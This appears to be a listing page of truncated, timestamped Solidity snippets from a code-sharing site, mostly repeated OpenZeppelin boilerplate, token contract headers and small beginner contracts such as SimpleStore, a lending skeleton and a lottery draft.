// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contrac
Aug 03, 2021 17:08:07 UTC
// File: contracts/libs/SafeMath.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi
Aug 02, 2021 17:07:51 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:40:54 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:39:11 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:32:15 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:20:08 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:09:36 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 14:52:21 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 14:41:30 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:45:48 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:25:52 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:21:41 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:14:37 UTC
// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  
Aug 02, 2021 12:03:18 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:02:18 UTC
// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  
Aug 02, 2021 11:59:29 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:39:46 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:39:09 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:20:30 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:14:50 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:13:48 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * ther
Aug 02, 2021 11:08:56 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 10:20:53 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 10:01:05 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 09:56:24 UTC
/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract
Aug 02, 2021 09:49:50 UTC
/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract
Aug 02, 2021 09:17:47 UTC
pragma solidity 0.5.16;
 
interface IBEP20 {
 /**
  * @dev Returns the amount of tokens in existence.
  */
 function totalSupply() external view returns (uint256);
 
 /**
  * @dev Returns the token decimals.
  */
 function decimals() external view returns (uint8);
 
 /**
  * @dev Returns the token symbol.
  */
 function symbol() external view returns (string memory);
 
 /**
 * @dev Returns the token name.
 */
 function name() external view returns (string memory);
 
 /**
  * @dev Returns the bep token owner.
  */
 function getOwner() external view returns (address);
 
 /**
  * @dev Returns the amount of tokens owned by `account`.
  */
 function balanceOf(address account) external view returns (uint256);
 
 /**
  * @dev Moves `amount` tokens from the caller's account to `recipient`.
  *
  * Returns a boolean value indicating whether the operation succeeded.
  *
  * Emits a {Transfer} event.
  */
 function transfer(address recipient, uint256 amount) external returns (bool);
 
 /**
  * @dev Returns the remaining
Aug 01, 2021 08:17:13 UTC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _call() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) inter
Jul 26, 2021 22:49:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 25, 2021 08:21:11 UTC
//SPDX-License-Identifier: MIT
pragma solidity 0.7.1;

contract KarmaGateway
{
    
    /**
     * Contract owner
    **/
    address payable owner;
    
    /**
     * Charity address
    **/
    address public charityAddress = 0xb5F0Cdc0370610980549F461E05b196578CC3D1D;
    
    event Payment(address indexed sender, address indexed to, uint256 amount, uint256 fee);
    event withdraw(address indexed _too, uint256 amount, uint256 timestamp);
    
    constructor () {
        owner = payable(address(msg.sender));
    }
    
    modifier onlyOwner() {
        require(owner == msg.sender, "Only owner can execute this function");
        _;
    }

    function setCharityAddresss(address payable _address) public onlyOwner
    {
        charityAddress = _address;
    }
    
    function pay(address payable _to, uint256 _fee) external payable {
        require(msg.value > 0, "Must send BNB");
        require(msg.value >= 0.01 ether, "The minimal transfer is 0.01 BNB");
        require(_fee >= 2, "The minimal fee is
Jul 23, 2021 17:19:41 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-07-19
*/

/*
*Only Shiba 
*The Real NFT Game of Shiba Memes
*1,000,000 Token supply Only
*No Tax , all token use in Game with reward system
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.8;

library Address {
        function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "
Jul 22, 2021 17:36:54 UTC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi
Jul 21, 2021 19:57:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.17;

contract P2PLending {
  
  //Global Counters for overall stats 
  uint totalNumLoans; 
  uint totalNumBorrowers; 
  uint totalNumInvestors; 
  uint totalNumFullyFundedLoans; 

   //Arrays to hold all of our investors and borrowers and loans
  Investor[] public investors; 
  Borrower[] public borrowers; 
  Loan[] public loans; 

  //Mappings 
  mapping (address => uint) public borrowerNumLoans; //take a borrowerr address and get the number of loans they have in the marketplace
  mapping (address => uint) public investorNumInvestments; //take an investor address and get the number of loans they are funding
  mapping (uint => address) public borrowerToOwner; //take an id from our borrowers array and get the address of the borrower
  mapping (uint => address) public investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => Borrower) public borro
Jul 20, 2021 20:10:42 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 19, 2021 08:24:45 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.1;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts
Jul 17, 2021 04:42:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  enum Stage { None, Queued, Approval, Referendum, Execution, Expiration }

  function gtApproval(Stage stage) public view returns (bool) {
    return stage > Stage.Approval;
  }

  function isExpired(bool approved, Stage stage) public view returns (bool) {
    return (/*stage > Stage.Approval &&*/ !approved);
  }

  function wtfBool() public view returns (bool) {
    bool b = false;
    return !b;
  }

  function banana() public view returns (Stage) {
    Stage stage = Stage.Referendum;
    return isExpired(false, stage) ? Stage.Expiration : stage;
  }

  function wtfStage(Stage stage) public view returns (Stage) {
    return stage;
  }
Jul 15, 2021 11:56:32 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0;

contract A {
    uint8 public var1;
    uint256 public var2;
    // uint128 public var3;
    
    function incVar1(uint8 v) external {
        var1 += v; // 121763 gas in V4.12, 43874/26774 gas in V8.6
    }
    
    function incVar2(uint256 v) external {
        var2 += v; // 43432/26523 gas in V4.12, 43600 gas in V8.6
    }
    
    // function incVar3(uint128 v) external {
    //     var3 += v; // 43917/26817 gas in V8.6
    // }
    
    // function incVar4(uint8 v) external {
    //     var2 += v; // 43706/26606 gas in V8.6
    // }
Jul 14, 2021 11:38:27 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MyContract {
    struct member {
        address publicKey;
        uint8 payDeposit;
        bool penalized; 
        
    }
    member [] members;
    bool lotteryOpen;
    uint256 startTime;
    uint256 endBidingTime;
    uint8 currentCapacity;
    bool revealed;
    uint8 winingPrize;
    
    constructor(uint8 bidingDuration){
    lotteryOpen = true;
    startTime = block.timestamp;
    endBidingTime = startTime + bidingDuration * 1 seconds;
    currentCapacity = 3;
    }
    function acceptMember (string memory commitment,address publicKey) public{
        require(block.timestamp < endBidingTime);
        require(currentCapacity < 3);
        member memory player = member(publicKey,commitment);
        members.push(player);
        currentCapacity+=1;
        if (currentCapacity == 3){
            Reveal();
        }
        
    }
     function random() private view returns (uint) {
        return uint(keccak256(abi.encodePacked(block.dif
Jul 12, 2021 17:28:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.7.0 <0.9.0;

contract Asset is Ownable {
    address public originalOwner;
    mapping(uint256 => address) ownerHistory;
    mapping(uint256 => uint256) priceHistory;
    uint256 public price = 0;
    uint256 public royalty = 0;
    uint256 private ownerIndex = 0;
    bool public isLocked = false;
    bool public canSell = false;
    uint256 public tokenId;
    MarketplaceProxy public marketplaceProxy;

    event UpdatePrice (
        address indexed _owner,
        uint256 _previousPrice,
        uint256 _newPrice,
        uint256 _id
    );

    event UpdateRoyalty (
        address indexed _owner,
        uint256 _previousRoyalty,
        uint256 _newRoyalty,
        uint256 _id
    );

    event Purchase (
        address indexed _recipient,
        address indexed _buyee,
        uint256 _price,
        uint256 _id
    );
    
    event Transfer (
        address indexed _from,
        address inde
Jul 10, 2021 04:15:11 UTC
function addCoop(uint _coop_id, string memory _name) public isOwner {
        bytes memory tmpRequire = bytes(coops[_coop_id]);//Convert to bytes in order to be able to use length
        require(tmpRequire.length == 0, "Ya existe una coop con este ID");
        
        coops[_coop_id] = _name;
        coopsIndex.push(_coop_id);
    
Jul 09, 2021 18:48:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 08, 2021 14:08:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

